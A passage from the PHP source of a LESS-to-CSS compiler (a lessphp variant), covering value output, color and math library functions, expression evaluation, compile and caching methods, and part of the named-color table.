				return $this->compileValue($this->coerceColor($value));
			}
			return $value[1];
		case 'keyword':
			// [1] - the keyword
			return $value[1];
		case 'number':
			list(, $num, $unit) = $value;
			// [1] - the number
			// [2] - the unit
			if ($this->numberPrecision !== null) {
				$num = round($num, $this->numberPrecision);
			}
			return $num . $unit;
		case 'string':
			// [1] - contents of string (includes quotes)
			list(, $delim, $content) = $value;
			foreach ($content as &$part) {
				if (is_array($part)) {
					$part = $this->compileValue($part);
				}
			}
			return $delim . implode($content) . $delim;
		case 'color':
			// [1] - red component (either number or a %)
			// [2] - green component
			// [3] - blue component
			// [4] - optional alpha component
			list(, $r, $g, $b) = $value;
			$r = round($r);
			$g = round($g);
			$b = round($b);

			if (count($value) == 5 && $value[4] != 1) { // rgba
				return 'rgba('.$r.','.$g.','.$b.','.$value[4].')';
			}

			$h = sprintf("#%02x%02x%02x", $r, $g, $b);

			if (!empty($this->formatter->compressColors)) {
				// Converting hex color to short notation (e.g. #003399 to #039)
				if ($h[1] === $h[2] && $h[3] === $h[4] && $h[5] === $h[6]) {
					$h = '#' . $h[1] . $h[3] . $h[5];
				}
			}

			return $h;

		case 'function':
			list(, $name, $args) = $value;
			return $name.'('.$this->compileValue($args).')';
		default: // assumed to be unit
			$this->throwError("unknown value type: $value[0]");
		}
	}

	protected function lib_pow($args) {
		list($base, $exp) = $this->assertArgs($args, 2, "pow");
		return pow($this->assertNumber($base), $this->assertNumber($exp));
	}

	protected function lib_pi() {
		return pi();
	}

	protected function lib_mod($args) {
		list($a, $b) = $this->assertArgs($args, 2, "mod");
		return $this->assertNumber($a) % $this->assertNumber($b);
	}

	protected function lib_tan($num) {
		return tan($this->assertNumber($num));
	}

	protected function lib_sin($num) {
		return sin($this->assertNumber($num));
	}

	protected function lib_cos($num) {
		return cos($this->assertNumber($num));
	}

	protected function lib_atan($num) {
		$num = atan($this->assertNumber($num));
		return array("number", $num, "rad");
	}

	protected function lib_asin($num) {
		$num = asin($this->assertNumber($num));
		return array("number", $num, "rad");
	}

	protected function lib_acos($num) {
		$num = acos($this->assertNumber($num));
		return array("number", $num, "rad");
	}

	protected function lib_sqrt($num) {
		return sqrt($this->assertNumber($num));
	}

	protected function lib_extract($value) {
		list($list, $idx) = $this->assertArgs($value, 2, "extract");
		$idx = $this->assertNumber($idx);
		// 1 indexed
		if ($list[0] == "list" && isset($list[2][$idx - 1])) {
			return $list[2][$idx - 1];
		}
	}

	protected function lib_isnumber($value) {
		return $this->toBool($value[0] == "number");
	}

	protected function lib_isstring($value) {
		return $this->toBool($value[0] == "string");
	}

	protected function lib_iscolor($value) {
		return $this->toBool($this->coerceColor($value));
	}

	protected function lib_iskeyword($value) {
		return $this->toBool($value[0] == "keyword");
	}

	protected function lib_ispixel($value) {
		return $this->toBool($value[0] == "number" && $value[2] == "px");
	}

	protected function lib_ispercentage($value) {
		return $this->toBool($value[0] == "number" && $value[2] == "%");
	}

	protected function lib_isem($value) {
		return $this->toBool($value[0] == "number" && $value[2] == "em");
	}

	protected function lib_isrem($value) {
		return $this->toBool($value[0] == "number" && $value[2] == "rem");
	}

	protected function lib_rgbahex($color) {
		$color = $this->coerceColor($color);
		if (is_null($color))
			$this->throwError("color expected for rgbahex");

		return sprintf("#%02x%02x%02x%02x",
			isset($color[4]) ? $color[4]*255 : 255,
			$color[1],$color[2], $color[3]);
	}

	protected function lib_argb($color){
		return $this->lib_rgbahex($color);
	}

	// utility func to unquote a string
	protected function lib_e($arg) {
		switch ($arg[0]) {
			case "list":
				$items = $arg[2];
				if (isset($items[0])) {
					return $this->lib_e($items[0]);
				}
				return self::$defaultValue;
			case "string":
				$arg[1] = "";
				return $arg;
			case "keyword":
				return $arg;
			default:
				return array("keyword", $this->compileValue($arg));
		}
	}

	protected function lib__sprintf($args) {
		if ($args[0] != "list") return $args;
		$values = $args[2];
		$string = array_shift($values);
		$template = $this->compileValue($this->lib_e($string));

		$i = 0;
		if (preg_match_all('/%[dsa]/', $template, $m)) {
			foreach ($m[0] as $match) {
				$val = isset($values[$i]) ?
					$this->reduce($values[$i]) : array('keyword', '');

				// lessjs compat, renders fully expanded color, not raw color
				if ($color = $this->coerceColor($val)) {
					$val = $color;
				}

				$i++;
				$rep = $this->compileValue($this->lib_e($val));
				$template = preg_replace('/'.self::preg_quote($match).'/',
					$rep, $template, 1);
			}
		}

		$d = $string[0] == "string" ? $string[1] : '"';
		return array("string", $d, array($template));
	}

	protected function lib_floor($arg) {
		$value = $this->assertNumber($arg);
		return array("number", floor($value), $arg[2]);
	}

	protected function lib_ceil($arg) {
		$value = $this->assertNumber($arg);
		return array("number", ceil($value), $arg[2]);
	}

	protected function lib_round($arg) {
		$value = $this->assertNumber($arg);
		return array("number", round($value), $arg[2]);
	}

	protected function lib_unit($arg) {
		if ($arg[0] == "list") {
			list($number, $newUnit) = $arg[2];
			return array("number", $this->assertNumber($number),
				$this->compileValue($this->lib_e($newUnit)));
		} else {
			return array("number", $this->assertNumber($arg), "");
		}
	}

	/**
	 * Helper function to get arguments for color manipulation functions.
	 * takes a list that contains a color like thing and a percentage
	 */
	protected function colorArgs($args) {
		if ($args[0] != 'list' || count($args[2]) < 2) {
			return array(array('color', 0, 0, 0), 0);
		}
		list($color, $delta) = $args[2];
		$color = $this->assertColor($color);
		$delta = floatval($delta[1]);

		return array($color, $delta);
	}

	protected function lib_darken($args) {
		list($color, $delta) = $this->colorArgs($args);

		$hsl = $this->toHSL($color);
		$hsl[3] = $this->clamp($hsl[3] - $delta, 100);
		return $this->toRGB($hsl);
	}

	protected function lib_lighten($args) {
		list($color, $delta) = $this->colorArgs($args);

		$hsl = $this->toHSL($color);
		$hsl[3] = $this->clamp($hsl[3] + $delta, 100);
		return $this->toRGB($hsl);
	}

	protected function lib_saturate($args) {
		list($color, $delta) = $this->colorArgs($args);

		$hsl = $this->toHSL($color);
		$hsl[2] = $this->clamp($hsl[2] + $delta, 100);
		return $this->toRGB($hsl);
	}

	protected function lib_desaturate($args) {
		list($color, $delta) = $this->colorArgs($args);

		$hsl = $this->toHSL($color);
		$hsl[2] = $this->clamp($hsl[2] - $delta, 100);
		return $this->toRGB($hsl);
	}

	protected function lib_spin($args) {
		list($color, $delta) = $this->colorArgs($args);

		$hsl = $this->toHSL($color);

		$hsl[1] = $hsl[1] + $delta % 360;
		if ($hsl[1] < 0) $hsl[1] += 360;

		return $this->toRGB($hsl);
	}

	protected function lib_fadeout($args) {
		list($color, $delta) = $this->colorArgs($args);
		$color[4] = $this->clamp((isset($color[4]) ? $color[4] : 1) - $delta/100);
		return $color;
	}

	protected function lib_fadein($args) {
		list($color, $delta) = $this->colorArgs($args);
		$color[4] = $this->clamp((isset($color[4]) ? $color[4] : 1) + $delta/100);
		return $color;
	}

	protected function lib_hue($color) {
		$hsl = $this->toHSL($this->assertColor($color));
		return round($hsl[1]);
	}

	protected function lib_saturation($color) {
		$hsl = $this->toHSL($this->assertColor($color));
		return round($hsl[2]);
	}

	protected function lib_lightness($color) {
		$hsl = $this->toHSL($this->assertColor($color));
		return round($hsl[3]);
	}

	// get the alpha of a color
	// defaults to 1 for non-colors or colors without an alpha
	protected function lib_alpha($value) {
		if (!is_null($color = $this->coerceColor($value))) {
			return isset($color[4]) ? $color[4] : 1;
		}
	}

	// set the alpha of the color
	protected function lib_fade($args) {
		list($color, $alpha) = $this->colorArgs($args);
		$color[4] = $this->clamp($alpha / 100.0);
		return $color;
	}

	protected function lib_percentage($arg) {
		$num = $this->assertNumber($arg);
		return array("number", $num*100, "%");
	}

	// mixes two colors by weight
	// mix(@color1, @color2, [@weight: 50%]);
	// http://sass-lang.com/docs/yardoc/Sass/Script/Functions.html#mix-instance_method
	protected function lib_mix($args) {
		if ($args[0] != "list" || count($args[2]) < 2)
			$this->throwError("mix expects (color1, color2, weight)");

		list($first, $second) = $args[2];
		$first = $this->assertColor($first);
		$second = $this->assertColor($second);

		$first_a = $this->lib_alpha($first);
		$second_a = $this->lib_alpha($second);

		if (isset($args[2][2])) {
			$weight = $args[2][2][1] / 100.0;
		} else {
			$weight = 0.5;
		}

		$w = $weight * 2 - 1;
		$a = $first_a - $second_a;

		$w1 = (($w * $a == -1 ? $w : ($w + $a)/(1 + $w * $a)) + 1) / 2.0;
		$w2 = 1.0 - $w1;

		$new = array('color',
			$w1 * $first[1] + $w2 * $second[1],
			$w1 * $first[2] + $w2 * $second[2],
			$w1 * $first[3] + $w2 * $second[3],
		);

		if ($first_a != 1.0 || $second_a != 1.0) {
			$new[] = $first_a * $weight + $second_a * ($weight - 1);
		}

		return $this->fixColor($new);
	}

	protected function lib_contrast($args) {
		if ($args[0] != 'list' || count($args[2]) < 3) {
			return array(array('color', 0, 0, 0), 0);
		}

		list($inputColor, $darkColor, $lightColor) = $args[2];

		$inputColor = $this->assertColor($inputColor);
		$darkColor = $this->assertColor($darkColor);
		$lightColor = $this->assertColor($lightColor);
		$hsl = $this->toHSL($inputColor);

		if ($hsl[3] > 50) {
			return $darkColor;
		}

		return $lightColor;
	}

	protected function assertColor($value, $error = "expected color value") {
		$color = $this->coerceColor($value);
		if (is_null($color)) $this->throwError($error);
		return $color;
	}

	protected function assertNumber($value, $error = "expecting number") {
		if ($value[0] == "number") return $value[1];
		$this->throwError($error);
	}

	protected function assertArgs($value, $expectedArgs, $name="") {
		if ($expectedArgs == 1) {
			return $value;
		} else {
			if ($value[0] !== "list" || $value[1] != ",") $this->throwError("expecting list");
			$values = $value[2];
			$numValues = count($values);
			if ($expectedArgs != $numValues) {
				if ($name) {
					$name = $name . ": ";
				}

				$this->throwError("${name}expecting $expectedArgs arguments, got $numValues");
			}

			return $values;
		}
	}

	protected function toHSL($color) {
		if ($color[0] == 'hsl') return $color;

		$r = $color[1] / 255;
		$g = $color[2] / 255;
		$b = $color[3] / 255;

		$min = min($r, $g, $b);
		$max = max($r, $g, $b);

		$L = ($min + $max) / 2;
		if ($min == $max) {
			$S = $H = 0;
		} else {
			if ($L < 0.5)
				$S = ($max - $min)/($max + $min);
			else
				$S = ($max - $min)/(2.0 - $max - $min);

			if ($r == $max) $H = ($g - $b)/($max - $min);
			elseif ($g == $max) $H = 2.0 + ($b - $r)/($max - $min);
			elseif ($b == $max) $H = 4.0 + ($r - $g)/($max - $min);

		}

		$out = array('hsl',
			($H < 0 ? $H + 6 : $H)*60,
			$S*100,
			$L*100,
		);

		if (count($color) > 4) $out[] = $color[4]; // copy alpha
		return $out;
	}

	protected function toRGB_helper($comp, $temp1, $temp2) {
		if ($comp < 0) $comp += 1.0;
		elseif ($comp > 1) $comp -= 1.0;

		if (6 * $comp < 1) return $temp1 + ($temp2 - $temp1) * 6 * $comp;
		if (2 * $comp < 1) return $temp2;
		if (3 * $comp < 2) return $temp1 + ($temp2 - $temp1)*((2/3) - $comp) * 6;

		return $temp1;
	}

	/**
	 * Converts a hsl array into a color value in rgb.
	 * Expects H to be in range of 0 to 360, S and L in 0 to 100
	 */
	protected function toRGB($color) {
		if ($color[0] == 'color') return $color;

		$H = $color[1] / 360;
		$S = $color[2] / 100;
		$L = $color[3] / 100;

		if ($S == 0) {
			$r = $g = $b = $L;
		} else {
			$temp2 = $L < 0.5 ?
				$L*(1.0 + $S) :
				$L + $S - $L * $S;

			$temp1 = 2.0 * $L - $temp2;

			$r = $this->toRGB_helper($H + 1/3, $temp1, $temp2);
			$g = $this->toRGB_helper($H, $temp1, $temp2);
			$b = $this->toRGB_helper($H - 1/3, $temp1, $temp2);
		}

		// $out = array('color', round($r*255), round($g*255), round($b*255));
		$out = array('color', $r*255, $g*255, $b*255);
		if (count($color) > 4) $out[] = $color[4]; // copy alpha
		return $out;
	}

	protected function clamp($v, $max = 1, $min = 0) {
		return min($max, max($min, $v));
	}

	/**
	 * Convert the rgb, rgba, hsl color literals of function type
	 * as returned by the parser into values of color type.
	 */
	protected function funcToColor($func) {
		$fname = $func[1];
		if ($func[2][0] != 'list') return false; // need a list of arguments
		$rawComponents = $func[2][2];

		if ($fname == 'hsl' || $fname == 'hsla') {
			$hsl = array('hsl');
			$i = 0;
			foreach ($rawComponents as $c) {
				$val = $this->reduce($c);
				$val = isset($val[1]) ? floatval($val[1]) : 0;

				if ($i == 0) $clamp = 360;
				elseif ($i < 3) $clamp = 100;
				else $clamp = 1;

				$hsl[] = $this->clamp($val, $clamp);
				$i++;
			}

			while (count($hsl) < 4) $hsl[] = 0;
			return $this->toRGB($hsl);

		} elseif ($fname == 'rgb' || $fname == 'rgba') {
			$components = array();
			$i = 1;
			foreach	($rawComponents as $c) {
				$c = $this->reduce($c);
				if ($i < 4) {
					if ($c[0] == "number" && $c[2] == "%") {
						$components[] = 255 * ($c[1] / 100);
					} else {
						$components[] = floatval($c[1]);
					}
				} elseif ($i == 4) {
					if ($c[0] == "number" && $c[2] == "%") {
						$components[] = 1.0 * ($c[1] / 100);
					} else {
						$components[] = floatval($c[1]);
					}
				} else break;

				$i++;
			}
			while (count($components) < 3) $components[] = 0;
			array_unshift($components, 'color');
			return $this->fixColor($components);
		}

		return false;
	}

	protected function reduce($value, $forExpression = false) {
		switch ($value[0]) {
		case "interpolate":
			$reduced = $this->reduce($value[1]);
			$var = $this->compileValue($reduced);
			$res = $this->reduce(array("variable", $this->vPrefix . $var));

			if ($res[0] == "raw_color") {
				$res = $this->coerceColor($res);
			}

			if (empty($value[2])) $res = $this->lib_e($res);

			return $res;
		case "variable":
			$key = $value[1];
			if (is_array($key)) {
				$key = $this->reduce($key);
				$key = $this->vPrefix . $this->compileValue($this->lib_e($key));
			}

			$seen =& $this->env->seenNames;

			if (!empty($seen[$key])) {
				$this->throwError("infinite loop detected: $key");
			}

			$seen[$key] = true;
			$out = $this->reduce($this->get($key, self::$defaultValue));
			$seen[$key] = false;
			return $out;
		case "list":
			foreach ($value[2] as &$item) {
				$item = $this->reduce($item, $forExpression);
			}
			return $value;
		case "expression":
			return $this->evaluate($value);
		case "string":
			foreach ($value[2] as &$part) {
				if (is_array($part)) {
					$strip = $part[0] == "variable";
					$part = $this->reduce($part);
					if ($strip) $part = $this->lib_e($part);
				}
			}
			return $value;
		case "escape":
			list(,$inner) = $value;
			return $this->lib_e($this->reduce($inner));
		case "function":
			$color = $this->funcToColor($value);
			if ($color) return $color;

			list(, $name, $args) = $value;
			if ($name == "%") $name = "_sprintf";
			$f = isset($this->libFunctions[$name]) ?
				$this->libFunctions[$name] : array($this, 'lib_'.$name);

			if (is_callable($f)) {
				if ($args[0] == 'list')
					$args = self::compressList($args[2], $args[1]);

				$ret = call_user_func($f, $this->reduce($args, true), $this);

				if (is_null($ret)) {
					return array("string", "", array(
						$name, "(", $args, ")"
					));
				}

				// convert to a typed value if the result is a php primitive
				if (is_numeric($ret)) $ret = array('number', $ret, "");
				elseif (!is_array($ret)) $ret = array('keyword', $ret);

				return $ret;
			}

			// plain function, reduce args
			$value[2] = $this->reduce($value[2]);
			return $value;
		case "unary":
			list(, $op, $exp) = $value;
			$exp = $this->reduce($exp);

			if ($exp[0] == "number") {
				switch ($op) {
				case "+":
					return $exp;
				case "-":
					$exp[1] *= -1;
					return $exp;
				}
			}
			return array("string", "", array($op, $exp));
		}

		if ($forExpression) {
			switch ($value[0]) {
			case "keyword":
				if ($color = $this->coerceColor($value)) {
					return $color;
				}
				break;
			case "raw_color":
				return $this->coerceColor($value);
			}
		}

		return $value;
	}


	// coerce a value for use in color operation
	protected function coerceColor($value) {
		switch($value[0]) {
			case 'color': return $value;
			case 'raw_color':
				$c = array("color", 0, 0, 0);
				$colorStr = substr($value[1], 1);
				$num = hexdec($colorStr);
				$width = strlen($colorStr) == 3 ? 16 : 256;

				for ($i = 3; $i > 0; $i--) { // 3 2 1
					$t = $num % $width;
					$num /= $width;

					$c[$i] = $t * (256/$width) + $t * floor(16/$width);
				}

				return $c;
			case 'keyword':
				$name = $value[1];
				if (isset(self::$cssColors[$name])) {
					$rgba = explode(',', self::$cssColors[$name]);

					if(isset($rgba[3]))
						return array('color', $rgba[0], $rgba[1], $rgba[2], $rgba[3]);

					return array('color', $rgba[0], $rgba[1], $rgba[2]);
				}
				return null;
		}
	}

	// make something string like into a string
	protected function coerceString($value) {
		switch ($value[0]) {
		case "string":
			return $value;
		case "keyword":
			return array("string", "", array($value[1]));
		}
		return null;
	}

	// turn list of length 1 into value type
	protected function flattenList($value) {
		if ($value[0] == "list" && count($value[2]) == 1) {
			return $this->flattenList($value[2][0]);
		}
		return $value;
	}

	protected function toBool($a) {
		if ($a) return self::$TRUE;
		else return self::$FALSE;
	}

	// evaluate an expression
	protected function evaluate($exp) {
		list(, $op, $left, $right, $whiteBefore, $whiteAfter) = $exp;

		$left = $this->reduce($left, true);
		$right = $this->reduce($right, true);

		if ($leftColor = $this->coerceColor($left)) {
			$left = $leftColor;
		}

		if ($rightColor = $this->coerceColor($right)) {
			$right = $rightColor;
		}

		$ltype = $left[0];
		$rtype = $right[0];

		// operators that work on all types
		if ($op == "and") {
			return $this->toBool($left == self::$TRUE && $right == self::$TRUE);
		}

		if ($op == "=") {
			return $this->toBool($this->eq($left, $right) );
		}

		if ($op == "+" && !is_null($str = $this->stringConcatenate($left, $right))) {
			return $str;
		}

		// type based operators
		$fname = "op_${ltype}_${rtype}";
		if (is_callable(array($this, $fname))) {
			$out = $this->$fname($op, $left, $right);
			if (!is_null($out)) return $out;
		}

		// make the expression look it did before being parsed
		$paddedOp = $op;
		if ($whiteBefore) $paddedOp = " " . $paddedOp;
		if ($whiteAfter) $paddedOp .= " ";

		return array("string", "", array($left, $paddedOp, $right));
	}

	protected function stringConcatenate($left, $right) {
		if ($strLeft = $this->coerceString($left)) {
			if ($right[0] == "string") {
				$right[1] = "";
			}
			$strLeft[2][] = $right;
			return $strLeft;
		}

		if ($strRight = $this->coerceString($right)) {
			array_unshift($strRight[2], $left);
			return $strRight;
		}
	}


	// make sure a color's components don't go out of bounds
	protected function fixColor($c) {
		foreach (range(1, 3) as $i) {
			if ($c[$i] < 0) $c[$i] = 0;
			if ($c[$i] > 255) $c[$i] = 255;
		}

		return $c;
	}

	protected function op_number_color($op, $lft, $rgt) {
		if ($op == '+' || $op == '*') {
			return $this->op_color_number($op, $rgt, $lft);
		}
	}

	protected function op_color_number($op, $lft, $rgt) {
		if ($rgt[0] == '%') $rgt[1] /= 100;

		return $this->op_color_color($op, $lft,
			array_fill(1, count($lft) - 1, $rgt[1]));
	}

	protected function op_color_color($op, $left, $right) {
		$out = array('color');
		$max = count($left) > count($right) ? count($left) : count($right);
		foreach (range(1, $max - 1) as $i) {
			$lval = isset($left[$i]) ? $left[$i] : 0;
			$rval = isset($right[$i]) ? $right[$i] : 0;
			switch ($op) {
			case '+':
				$out[] = $lval + $rval;
				break;
			case '-':
				$out[] = $lval - $rval;
				break;
			case '*':
				$out[] = $lval * $rval;
				break;
			case '%':
				$out[] = $lval % $rval;
				break;
			case '/':
				if ($rval == 0) $this->throwError("evaluate error: can't divide by zero");
				$out[] = $lval / $rval;
				break;
			default:
				$this->throwError('evaluate error: color op number failed on op '.$op);
			}
		}
		return $this->fixColor($out);
	}

	function lib_red($color){
		$color = $this->coerceColor($color);
		if (is_null($color)) {
			$this->throwError('color expected for red()');
		}

		return $color[1];
	}

	function lib_green($color){
		$color = $this->coerceColor($color);
		if (is_null($color)) {
			$this->throwError('color expected for green()');
		}

		return $color[2];
	}

	function lib_blue($color){
		$color = $this->coerceColor($color);
		if (is_null($color)) {
			$this->throwError('color expected for blue()');
		}

		return $color[3];
	}


	// operator on two numbers
	protected function op_number_number($op, $left, $right) {
		$unit = empty($left[2]) ? $right[2] : $left[2];

		$value = 0;
		switch ($op) {
		case '+':
			$value = $left[1] + $right[1];
			break;
		case '*':
			$value = $left[1] * $right[1];
			break;
		case '-':
			$value = $left[1] - $right[1];
			break;
		case '%':
			$value = $left[1] % $right[1];
			break;
		case '/':
			if ($right[1] == 0) $this->throwError('parse error: divide by zero');
			$value = $left[1] / $right[1];
			break;
		case '<':
			return $this->toBool($left[1] < $right[1]);
		case '>':
			return $this->toBool($left[1] > $right[1]);
		case '>=':
			return $this->toBool($left[1] >= $right[1]);
		case '=<':
			return $this->toBool($left[1] <= $right[1]);
		default:
			$this->throwError('parse error: unknown number operator: '.$op);
		}

		return array("number", $value, $unit);
	}


	/* environment functions */

	protected function makeOutputBlock($type, $selectors = null) {
		$b = new stdclass;
		$b->lines = array();
		$b->children = array();
		$b->selectors = $selectors;
		$b->type = $type;
		$b->parent = $this->scope;
		return $b;
	}

	// the state of execution
	protected function pushEnv($block = null) {
		$e = new stdclass;
		$e->parent = $this->env;
		$e->store = array();
		$e->block = $block;

		$this->env = $e;
		return $e;
	}

	// pop something off the stack
	protected function popEnv() {
		$old = $this->env;
		$this->env = $this->env->parent;
		return $old;
	}

	// set something in the current env
	protected function set($name, $value) {
		$this->env->store[$name] = $value;
	}


	// get the highest occurrence entry for a name
	protected function get($name, $default=null) {
		$current = $this->env;

		$isArguments = $name == $this->vPrefix . 'arguments';
		while ($current) {
			if ($isArguments && isset($current->arguments)) {
				return array('list', ' ', $current->arguments);
			}

			if (isset($current->store[$name]))
				return $current->store[$name];
			else {
				$current = isset($current->storeParent) ?
					$current->storeParent : $current->parent;
			}
		}

		return $default;
	}

	// inject array of unparsed strings into environment as variables
	protected function injectVariables($args) {
		$this->pushEnv();
		$parser = new helix3_lessc_parser($this, __METHOD__);
		foreach ($args as $name => $strValue) {
			if ($name{0} != '@') $name = '@'.$name;
			$parser->count = 0;
			$parser->buffer = (string)$strValue;
			if (!$parser->propertyValue($value)) {
				throw new Exception("failed to parse passed in variable $name: $strValue");
			}

			$this->set($name, $value);
		}
	}

	/**
	 * Initialize any static state, can initialize parser for a file
	 * $opts isn't used yet
	 */
	public function __construct($fname = null) {
		if ($fname !== null) {
			// used for deprecated parse method
			$this->_parseFile = $fname;
		}
	}

	public function compile($string, $name = null) {
		$locale = setlocale(LC_NUMERIC, 0);
		setlocale(LC_NUMERIC, "C");

		$this->parser = $this->makeParser($name);
		$root = $this->parser->parse($string);

		$this->env = null;
		$this->scope = null;

		$this->formatter = $this->newFormatter();

		if (!empty($this->registeredVars)) {
			$this->injectVariables($this->registeredVars);
		}

		$this->sourceParser = $this->parser; // used for error messages
		$this->compileBlock($root);

		ob_start();
		$this->formatter->block($this->scope);
		$out = ob_get_clean();
		setlocale(LC_NUMERIC, $locale);
		return $out;
	}

	public function compileFile($fname, $outFname = null) {
		if (!is_readable($fname)) {
			throw new Exception('load error: failed to find '.$fname);
		}

		$pi = pathinfo($fname);

		$oldImport = $this->importDir;

		$this->importDir = (array)$this->importDir;
		$this->importDir[] = $pi['dirname'].'/';

		$this->addParsedFile($fname);

		$out = $this->compile(file_get_contents($fname), $fname);

		$this->importDir = $oldImport;

		if ($outFname !== null) {
			return file_put_contents($outFname, $out);
		}

		return $out;
	}

	// compile only if changed input has changed or output doesn't exist
	public function checkedCompile($in, $out) {
		if (!is_file($out) || filemtime($in) > filemtime($out)) {
			$this->compileFile($in, $out);
			return true;
		}
		return false;
	}

	/**
	 * Execute lessphp on a .less file or a lessphp cache structure
	 *
	 * The lessphp cache structure contains information about a specific
	 * less file having been parsed. It can be used as a hint for future
	 * calls to determine whether or not a rebuild is required.
	 *
	 * The cache structure contains two important keys that may be used
	 * externally:
	 *
	 * compiled: The final compiled CSS
	 * updated: The time (in seconds) the CSS was last compiled
	 *
	 * The cache structure is a plain-ol' PHP associative array and can
	 * be serialized and unserialized without a hitch.
	 *
	 * @param mixed $in Input
	 * @param bool $force Force rebuild?
	 * @return array lessphp cache structure
	 */
	public function cachedCompile($in, $force = false) {
		// assume no root
		$root = null;

		if (is_string($in)) {
			$root = $in;
		} elseif (is_array($in) and isset($in['root'])) {
			if ($force or ! isset($in['files'])) {
				// If we are forcing a recompile or if for some reason the
				// structure does not contain any file information we should
				// specify the root to trigger a rebuild.
				$root = $in['root'];
			} elseif (isset($in['files']) and is_array($in['files'])) {
				foreach ($in['files'] as $fname => $ftime ) {
					if (!file_exists($fname) or filemtime($fname) > $ftime) {
						// One of the files we knew about previously has changed
						// so we should look at our incoming root again.
						$root = $in['root'];
						break;
					}
				}
			}
		} else {
			// TODO: Throw an exception? We got neither a string nor something
			// that looks like a compatible lessphp cache structure.
			return null;
		}

		if ($root !== null) {
			// If we have a root value which means we should rebuild.
			$out = array();
			$out['root'] = $root;
			$out['compiled'] = $this->compileFile($root);
			$out['files'] = $this->allParsedFiles();
			$out['updated'] = time();
			return $out;
		} else {
			// No changes, pass back the structure
			// we were given initially.
			return $in;
		}

	}

	// parse and compile buffer
	// This is deprecated
	public function parse($str = null, $initialVariables = null) {
		if (is_array($str)) {
			$initialVariables = $str;
			$str = null;
		}

		$oldVars = $this->registeredVars;
		if ($initialVariables !== null) {
			$this->setVariables($initialVariables);
		}

		if ($str == null) {
			if (empty($this->_parseFile)) {
				throw new exception("nothing to parse");
			}

			$out = $this->compileFile($this->_parseFile);
		} else {
			$out = $this->compile($str);
		}

		$this->registeredVars = $oldVars;
		return $out;
	}

	protected function makeParser($name) {
		$parser = new helix3_lessc_parser($this, $name);
		$parser->writeComments = $this->preserveComments;

		return $parser;
	}

	public function setFormatter($name) {
		$this->formatterName = $name;
	}

	protected function newFormatter() {
		$className = "helix3_lessc_formatter_lessjs";
		if (!empty($this->formatterName)) {
			if (!is_string($this->formatterName))
				return $this->formatterName;
			$className = "helix3_lessc_formatter_$this->formatterName";
		}

		return new $className;
	}

	public function setPreserveComments($preserve) {
		$this->preserveComments = $preserve;
	}

	public function registerFunction($name, $func) {
		$this->libFunctions[$name] = $func;
	}

	public function unregisterFunction($name) {
		unset($this->libFunctions[$name]);
	}

	public function setVariables($variables) {
		$this->registeredVars = array_merge($this->registeredVars, $variables);
	}

	public function unsetVariable($name) {
		unset($this->registeredVars[$name]);
	}

	public function setImportDir($dirs) {
		$this->importDir = (array)$dirs;
	}

	public function addImportDir($dir) {
		$this->importDir = (array)$this->importDir;
		$this->importDir[] = $dir;
	}

	public function allParsedFiles() {
		return $this->allParsedFiles;
	}

	protected function addParsedFile($file) {
		$this->allParsedFiles[realpath($file)] = filemtime($file);
	}

	/**
	 * Uses the current value of $this->count to show line and line number
	 */
	protected function throwError($msg = null) {
		if ($this->sourceLoc >= 0) {
			$this->sourceParser->throwError($msg, $this->sourceLoc);
		}
		throw new exception($msg);
	}

	// compile file $in to file $out if $in is newer than $out
	// returns true when it compiles, false otherwise
	public static function ccompile($in, $out, $less = null) {
		if ($less === null) {
			$less = new self;
		}
		return $less->checkedCompile($in, $out);
	}

	public static function cexecute($in, $force = false, $less = null) {
		if ($less === null) {
			$less = new self;
		}
		return $less->cachedCompile($in, $force);
	}

	static protected $cssColors = array(
		'aliceblue' => '240,248,255',
		'antiquewhite' => '250,235,215',
		'aqua' => '0,255,255',
		'aquamarine' => '127,255,212',
		'azure' => '240,255,255',
		'beige' => '245,245,220',
		'bisque' => '255,228,196',
		'black' => '0,0,0',
		'blanchedalmond' => '255,235,205',
		'blue' => '0,0,255',
		'blueviolet' => '138,43,226',
		'brown' => '165,42,42',
		'burlywood' => '222,184,135',
		'cadetblue' => '95,158,160',
		'chartreuse' => '127,255,0',
		'chocolate' => '210,105,30',
		'coral' => '255,127,80',
		'cornflowerblue' => '100,149,237',
		'cornsilk' => '255,248,220',
		'crimson' => '220,20,60',
		'cyan' => '0,255,255',
		'darkblue' => '0,0,139',
		'darkcyan' => '0,139,139',
		'darkgoldenrod' => '184,134,11',
		'darkgray' => '169,169,169',
		'darkgreen' => '0,100,0',
		'darkgrey' => '169,169,169',
		'darkkhaki' => '189,183,107',
		'darkmagenta' => '139,0,139',
		'darkolivegreen' => '85,107,47',
		'darkorange' => '255,140,0',
		'darkorchid' => '153,50,204',
		'darkred' => '139,0,0',
		'darksalmon' => '233,150,122',
		'darkseagreen' => '143,188,143',
		'darkslateblue' => '72,61,139',
		'darkslategray' => '47,79,79',
		'darkslategrey' => '47,79,79',
		'darkturquoise' => '0,206,209',
		'darkviolet' => '148,0,211',
		'deeppink' => '255,20,147',
		'deepskyblue' => '0,191,255',
		'dimgray' => '105,105,105',
		'dimgrey' => '105,105,105',
		'dodgerblue' => '30,144,255',
		'firebrick' => '178,34,34',
		'floralwhite' => '255,250,240',
		'forestgreen' => '34,139,34',
		'fuchsia' => '255,0,255',
		'gainsboro' => '220,220,220',
		'ghostwhite' => '248,248,255',
		'gold' => '255,215,0',
		'goldenrod' => '218,165,32',
		'gray' => '128,128,128',
		'green' => '0,128,0',
		'greenyellow' => '173,255,47',
		'grey' => '128,128,128',
		'honeydew' => '240,255,240',
		'hotpink' => '255,105,180',
		'indianred' => '205,92,92',
		'indigo' => '75,0,130',
		'ivory' => '255,255,240',
		'khaki' => '240,230,140',
		'lavender' => '230,230,250',
		'lavenderblush' => '255,240,245',
		'lawngreen' => '124,252,0',
		'lemonchiffon' => '255,250,205',
		'lightblue' => '173,216,230',
		'lightcoral' => '240,128,128',
		'lightcyan' => '224,255,255',
		'lightgoldenrodyellow' => '250,250,210',
		'lightgray' => '211,211,211',
		'lightgreen' => '144,238,144',
		'lightgrey' => '211,211,211',
		'lightpink' => '255,182,193',
		'lightsalmon' => '255,160,122',
		'lightseagreen' => '32,178,170',
		'lightskyblue' => '135,206,250',
		'lightslategray' => '119,136,153',
		'lightslategrey' => '119,136,153',
		'lightsteelblue' => '176,196,222',
		'lightyellow' => '255,255,224',
		'lime' => '0,255,0',
		'limegreen' => '50,205,50',
		'linen' => '250,240,230',
		'magenta' => '255,0,255',
		'maroon' => '128,0,0',
		'mediumaquamarine' => '102,205,170',
		'mediumblue' => '0,0,205',
		'mediumorchid' => '186,85,211',
		'mediumpurple' => '147,112,219',
		'mediumseagreen' => '60,179,113',
